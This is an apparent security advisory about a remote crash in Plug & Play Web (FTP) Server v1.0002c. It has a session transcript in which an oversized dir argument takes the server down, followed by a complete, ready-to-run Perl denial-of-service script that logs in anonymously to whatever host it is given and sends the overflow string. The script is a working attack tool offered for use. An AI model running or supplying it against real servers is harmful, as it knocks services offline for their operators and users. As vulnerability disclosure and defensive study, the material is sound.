Denial Of Service in Plug & Play Web (FTP) Server

Introduction:

=============

"The Plug and Play Web Server provides all of the tools you need to host your own website. The tools are bundled together in one comprehensive software package that it is incredibly easy to use and maintain."

- Vendors Description

[ http://www.pandpsoftware.com ]

Details:

========

Vulnerable systems: Plug & Play Web Server version 1.0002c

A vulnerability has been identified in Plug & Play Web (FTP) server V1.0002c, which allows malicious users to remotely crash the server. By connecting to the server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD) followed by large amounts of data, the server crashes.

dir [Ax509]

ls [Ax509]

delete [Ax509]

mkdir [Ax509]

DELE [Ax509]

RMD [Ax509]

MKD [Ax509]

Example:

--------------------

ftp> o 127.0.0.1

Connected to 127.0.0.1.

220 Plug and Play Web Server V1.0

User (127.0.0.1:(none)): anonymous

331 Password required for anonymous

Password:

230 User anonymous logged in

ftp> dir AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

200 PORT command successful

Connection closed by remote host.

ftp> o 127.0.0.1

> ftp: connect :Unknown error number

ftp>

--------------------

Vendor status:

==============

The vendor has been informed, and they are fixing this bug.

The updated version, when released, can be downloaded from:

http://www.pandpsoftware.com/download.htm

Exploit:

========

#!/usr/bin/perl

# ppftpdos.pl - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];

$buffer = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';

if("$ARGV[0]" eq "") {

print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");

print("b_naamneh (at) hotmail (dot) com [email concealed] - http://www.bsecurity.tk\n");

print("====================================================\n");

die("Usage : ./PPftpdos <host\/ip>\n");

} else {

print("Connecting to $host...\n");

my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";

print("Connected!\n");

$username = "anonymous";

$password = "anonymous";

$ftp->login($username, $password)

or die "Could not log in.\n";

$ftp->dir($buffer);

$ftp->quit();

print("Success!\n");

}

Discovered by/Credit:

=====================

Bahaa Naamneh

b_naamneh (at) hotmail (dot) com [email concealed]

http://www.bsecurity.tk

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